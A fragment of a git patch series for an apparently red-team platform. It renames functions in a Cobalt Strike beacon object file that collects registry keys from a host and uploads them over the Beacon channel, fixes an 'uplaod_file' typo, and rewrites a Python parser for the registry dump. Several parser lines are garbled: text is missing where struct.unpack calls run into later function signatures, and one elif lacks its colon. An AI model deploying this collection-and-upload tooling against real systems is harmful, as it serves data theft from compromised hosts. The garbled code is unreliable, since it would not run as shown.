sizeof(wchar_t)); KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, path, wchars_num); - QueryRegistryPath(queue, target_hive, arg_hive_w, path, true); + query_registry_path(queue, target_hive, arg_hive_w, path, true); + num_keys = queue->size(queue); BeaconPrintf(CALLBACK_OUTPUT, "Total reg keys: %d", num_keys); if (num_keys != 0) - FormatUploadRegistryData(queue, arg_file_name); + format_upload_registry_data(queue, arg_file_name); intFree(path); } diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py index c86c43b..29d12d2 100644 --- a/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py +++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py @@ -1,9 +1,7 @@ -# Standard Libraries -import base64 -import json import struct +from typing import Tuple, NamedTuple, Union, List import sys -from typing import List, NamedTuple, Tuple, Union +import json REG_NONE = 0 REG_SZ = 1 @@ -13,11 +11,37 @@ REG_DWORD = 4 REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 -# REG_RESOURCE_LIST = 8 -# REG_FULL_RESOURCE_DESCRIPTOR = 9 -# REG_RESOURCE_REQUIREMENTS_LIST = 10 +REG_RESOURCE_LIST = 8 +REG_FULL_RESOURCE_DESCRIPTOR = 9 +REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 +def read_unsigned_int(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack('>I', data[:4]), data[4:] + return ret, data + +def read_unsigned_long(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack(' Tuple[int, bytes]: + (ret,), data = struct.unpack('>L', data[:4]), data[4:] + return ret, data + +def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]: + (ret,), data = struct.unpack(' Tuple[bytes, bytes]: + (ret,) = struct.unpack(f'>{length}s', data[:length]) + return ret, data[length:] + +def read_string(data: bytes) -> Tuple[bytes, int, bytes]: + size, data = read_unsigned_int(data) + if size == 0: + return b'', size, data + ret, data = read_fixed_string(data, size) + return ret, size, data class RegKey(NamedTuple): type_: int @@ -28,97 +52,59 @@ class RegKey(NamedTuple): value: Union[bytes, int, List[bytes]] value_size: int +def read_key(data: bytes) -> Tuple[RegKey, bytes]: + type_, data = read_unsigned_int(data) + path, path_size, data = read_string(data) + path = path.decode('utf-16') -class BofRegCollect: - def __init__(self, data: bytes): - self.data = data + key, key_size, data = read_string(data) + key = key.decode('utf-16') - @classmethod - def from_file(cls, path: str) -> "BofRegCollect": - with open(path, "rb") as f: - return cls(f.read()) + value = b'' + value_length = 0 - def read_unsigned_int(self) -> int: - (ret,), self.data = struct.unpack(">I", self.data[:4]), self.data[4:] - return ret + if type_ == REG_NONE: + _, data = read_unsigned_int(data) + value = None + elif type_ == REG_DWORD: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long(data) + elif type_ in [REG_BINARY, REG_RESOURCE_LIST, REG_FULL_RESOURCE_DESCRIPTOR, REG_LINK] + value, value_length, data = read_string(data) + value = list(value) + elif type_ == REG_DWORD_BIG_ENDIAN: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long_be(data) + elif type_ == REG_MULTI_SZ: + value, value_length, data = read_string(data) + value = [v for v in value.decode('utf-16').split('\0') if v != ''] + elif type_ == REG_QWORD: + _, data = read_unsigned_int(data) + value, data = read_unsigned_long_long(data) + else: + value, value_length, data = read_string(data) + try: + value = value.decode('utf-16') + except Exception as e: + value = value.decode('latin-1') - def read_unsigned_long(self) -> int: - (ret,), self.data = struct.unpack(" int: - (ret,), self.data = struct.unpack(">L", self.data[:4]), self.data[4:] - return ret - - def read_unsigned_long_long(self) -> int: - (ret,), self.data = struct.unpack(" bytes: - (ret,), self.data = struct.unpack(f">{length}s", self.data[:length]), self.data[length:] - return ret - - def read_string(self) -> Tuple[bytes, int]: - size = self.read_unsigned_int() - if size == 0: - return b"", size - ret = self.read_fixed_string(size) - return ret, size - - def read_key(self) -> Tuple[RegKey, bytes]: - type_ = self.read_unsigned_int() - path, path_size = self.read_string() - path = path.decode("utf-16") - - key, key_size = self.read_string() - key = key.decode("utf-16") - if key == "(default)": - key = "" - - value = b"" - value_length = 0 - - if type_ == REG_NONE: - self.read_unsigned_int() - elif type_ == REG_DWORD: - self.read_unsigned_int() - value = self.read_unsigned_long() - elif type_ == REG_BINARY: - value, value_length = self.read_string() - value = base64.b64encode(value).decode("ASCII") - elif type_ == REG_DWORD_BIG_ENDIAN: - self.read_unsigned_int() - value = self.read_unsigned_long_be() - elif type_ == REG_MULTI_SZ: - value, value_length = self.read_string() - value = [v for v in value.decode("utf-16").split("\0") if v != ""] - elif type_ == REG_QWORD: - self.read_unsigned_int() - value = self.read_unsigned_long_long() - else: - value, value_length = self.read_string() - value = value.decode("utf-16").strip("\x00") - - return RegKey(type_, path, path_size, key, key_size, value, value_length) - - def parse(self) -> List[RegKey]: - arr = [] - arr_size = self.read_unsigned_int() - - for i in range(arr_size): - reg_key = self.read_key() - arr.append(reg_key) - return arr - - -if __name__ == "__main__": +if __name__ == '__main__': if len(sys.argv) != 3: - print("Usage: python nemesis_reg_parser.py ") + print('Usage: python nemesis_reg_parser.py ') sys.exit(1) input_path = sys.argv[1] output_path = sys.argv[2] - reg = [k._asdict() for k in BofRegCollect.from_file(input_path).parse()] - with open(output_path, "w") as f: - json.dump(reg, f) + with open(input_path, 'rb') as f: + data = f.read() + arr = [] + arr_size, data = read_unsigned_int(data) + + for i in range(arr_size): + reg_key, data = read_key(data) + arr.append(reg_key._asdict()) + with open(output_path, 'w') as f: + json.dump(arr, f) From b8a811a54fb0738f276fbc0b25b57f222eefe27b Mon Sep 17 00:00:00 2001 From: mharley Date: Wed, 30 Aug 2023 08:34:20 -0700 Subject: [PATCH 2/2] Update bof_reg_collect --- .../bof_reg_collect/common/upload_file.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c index d15e81f..0d99b8f 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c @@ -6,7 +6,7 @@ #define CHUNK_SIZE 0xe1000 // https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728 -BOOL uplaod_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) { +BOOL upload_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) { int fileNameLength = MSVCRT$strnlen(fileName, 256); // intializes the random number generator @@ -87,4 +87,4 @@ BOOL uplaod_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) { packedClose[3] = (fileId >> 0x00) & 0xFF; BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); return TRUE; -} \ No newline at end of file +}